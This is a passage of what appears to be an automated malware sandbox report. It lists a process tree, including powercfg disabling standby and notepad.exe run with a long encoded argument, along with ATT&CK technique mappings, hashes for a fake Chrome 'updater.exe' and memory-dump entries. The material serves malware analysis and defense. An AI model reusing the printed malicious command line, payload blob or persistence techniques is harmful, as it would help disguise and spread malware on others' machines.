C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1288

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "giyxhlnw"
4⤵
PID:1616

C:\Windows\System32\notepad.exe
C:\Windows\System32\notepad.exe xzdqclthzpcazp0 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvsjpN5Mqdy4DBfa6KATFfaKQjZcNqd1938GRB8dGIm2jUo1P1EwqD6WsAjiwuDAWLCfR3BRzADWgpJ7CQxFR7+anCrIhDT/00bieUv+n3qzA/ZBTeGzJOEzp2ufDT4ez7i94dFOd7htQWVDfk0FvX4a+088kTIG70C+qoBp7PPo1o2A5n8KneHMS5/guyM+nQkyz5PCuPtW1otcyRyfkXuJFiqnw4xHcIav5OP5k07szbPwxOTbqWzmU88osXNGi3m9t4Gwg0G56kg7iABsHbrK5UzmJ/FgcEz0jZ/3un+gS+Rf+IWiuYLXvFLT3dhSYQEp2MbWtYrce1ynEL2g4m1i3nZh07E/ntkN3OenhsoDXadhJLavl9NK0sNtCm2olw7Es0i9g5kp1KX++H2R+p8TerO894R0g6VcrvRRJ+3FNfFJEDMYbyeu61ZEsJe2P9UVJBbbbkXTZny0JoLyKbpVAGAT9wmmSPrpsDA8G3bbPD2mzExQDUSq6vDCincR1pfndSpJ6ETOEAak8MK+m/fKPDk8iiEXOF+mvhBrtYGTnSCz2kL1bsCs/yWKCKTGO/4=
4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:816

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

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C:\Program Files\Google\Chrome\updater.exe
Filesize
2.5MB

MD5
3db308a4a293420df30a444944f2ccb6

SHA1
4cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea

SHA256
a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7

SHA512
a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79

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C:\Program Files\Google\Chrome\updater.exe
Filesize
2.5MB

MD5
3db308a4a293420df30a444944f2ccb6

SHA1
4cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea

SHA256
a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7

SHA512
a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79

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\Program Files\Google\Chrome\updater.exe
Filesize
2.5MB

MD5
3db308a4a293420df30a444944f2ccb6

SHA1
4cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea

SHA256
a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7

SHA512
a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79

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memory/112-65-0x0000000000000000-mapping.dmp

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memory/268-137-0x0000000000000000-mapping.dmp

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memory/304-55-0x000007FEFBD81000-0x000007FEFBD83000-memory.dmp

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memory/304-59-0x0000000000150000-0x00000000003A0000-memory.dmp

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2.3MB

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memory/304-54-0x000000001B510000-0x000000001B760000-memory.dmp

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memory/436-110-0x0000000000000000-mapping.dmp

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memory/556-82-0x0000000000000000-mapping.dmp

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memory/556-122-0x0000000000000000-mapping.dmp

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memory/584-126-0x0000000000000000-mapping.dmp

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memory/740-79-0x0000000000000000-mapping.dmp

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memory/816-146-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-158-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-159-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-167-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-153-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-152-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-150-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-148-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-154-0x0000000140000000-0x0000000140809000-memory.dmp

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8.0MB

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memory/816-166-0x00000000001B0000-0x00000000001D0000-memory.dmp

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memory/816-160-0x0000000140000000-0x0000000140809000-memory.dmp

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8.0MB

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memory/816-144-0x0000000140000000-0x0000000140809000-memory.dmp

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8.0MB

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memory/816-165-0x0000000140000000-0x0000000140809000-memory.dmp

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8.0MB

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memory/816-156-0x0000000140000000-0x0000000140809000-memory.dmp

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8.0MB

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memory/816-164-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-143-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/816-162-0x0000000140000000-0x0000000140809000-memory.dmp

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memory/820-98-0x0000000000000000-mapping.dmp

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memory/820-69-0x0000000000000000-mapping.dmp

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memory/884-130-0x0000000000000000-mapping.dmp

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memory/884-67-0x0000000000000000-mapping.dmp

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memory/896-93-0x0000000000000000-mapping.dmp

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memory/916-115-0x0000000000000000-mapping.dmp

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memory/916-85-0x0000000000000000-mapping.dmp

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memory/940-90-0x0000000000000000-mapping.dmp

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memory/1048-132-0x0000000000000000-mapping.dmp

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memory/1072-120-0x0000000000000000-mapping.dmp

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memory/1072-84-0x0000000000000000-mapping.dmp

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memory/1076-80-0x0000000000000000-mapping.dmp

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memory/1084-125-0x0000000000000000-mapping.dmp

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memory/1108-116-0x0000000000AA0000-0x0000000000AA6000-memory.dmp

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memory/1108-71-0x0000000000000000-mapping.dmp

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memory/1156-109-0x0000000000000000-mapping.dmp

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memory/1160-81-0x0000000000000000-mapping.dmp

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memory/1192-77-0x0000000000000000-mapping.dmp

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memory/1196-139-0x0000000000000000-mapping.dmp

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memory/1248-133-0x0000000000000000-mapping.dmp

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memory/1248-72-0x0000000000000000-mapping.dmp

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memory/1288-124-0x0000000000000000-mapping.dmp

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memory/1312-97-0x0000000000000000-mapping.dmp

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memory/1376-128-0x0000000000000000-mapping.dmp

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memory/1412-131-0x0000000000000000-mapping.dmp

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memory/1480-92-0x0000000000000000-mapping.dmp

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memory/1528-73-0x0000000000000000-mapping.dmp

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memory/1560-136-0x0000000000000000-mapping.dmp

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memory/1584-114-0x0000000000000000-mapping.dmp

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memory/1616-123-0x0000000000060000-0x0000000000067000-memory.dmp

Filesize
28KB

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memory/1616-117-0x0000000000060000-0x0000000000067000-memory.dmp

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28KB

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memory/1616-119-0x0000000000000000-mapping.dmp

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memory/1616-141-0x0000000000390000-0x0000000000396000-memory.dmp

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memory/1640-75-0x0000000000000000-mapping.dmp

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memory/1644-138-0x0000000000000000-mapping.dmp

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memory/1648-113-0x0000000000000000-mapping.dmp

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memory/1668-95-0x0000000000000000-mapping.dmp

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memory/1704-66-0x0000000000000000-mapping.dmp

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memory/1724-76-0x0000000000000000-mapping.dmp

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memory/1736-78-0x0000000000000000-mapping.dmp

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memory/1752-140-0x0000000000000000-mapping.dmp

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memory/1756-129-0x0000000000000000-mapping.dmp

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memory/1756-96-0x0000000000000000-mapping.dmp

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memory/1820-105-0x000007FEECCE0000-0x000007FEED83D000-memory.dmp

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11.4MB

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memory/1820-74-0x0000000000000000-mapping.dmp

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memory/1820-104-0x000007FEED840000-0x000007FEEE263000-memory.dmp

Filesize
10.1MB

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memory/1820-107-0x00000000011A4000-0x00000000011A7000-memory.dmp

Filesize
12KB

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memory/1820-102-0x0000000000000000-mapping.dmp

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memory/1820-108-0x00000000011AB000-0x00000000011CA000-memory.dmp

Filesize
124KB

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memory/1820-106-0x00000000011A4000-0x00000000011A7000-memory.dmp

Filesize
12KB

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memory/1876-83-0x0000000000000000-mapping.dmp

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memory/1932-121-0x0000000000000000-mapping.dmp

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memory/1968-60-0x000007FEED730000-0x000007FEEE28D000-memory.dmp

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11.4MB

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memory/1968-62-0x000000001B760000-0x000000001BA5F000-memory.dmp

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3.0MB

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memory/1968-61-0x0000000002704000-0x0000000002707000-memory.dmp

Filesize
12KB

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memory/1968-64-0x000000000270B000-0x000000000272A000-memory.dmp

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124KB

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memory/1968-56-0x0000000000000000-mapping.dmp

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memory/1968-63-0x0000000002704000-0x0000000002707000-memory.dmp

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memory/1968-58-0x000007FEEE290000-0x000007FEEECB3000-memory.dmp

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10.1MB

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memory/1976-91-0x0000000000000000-mapping.dmp

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memory/1980-88-0x0000000000000000-mapping.dmp

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memory/1988-94-0x0000000000000000-mapping.dmp

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memory/1992-112-0x0000000000000000-mapping.dmp

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memory/2004-111-0x0000000000000000-mapping.dmp

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memory/2040-70-0x0000000000000000-mapping.dmp

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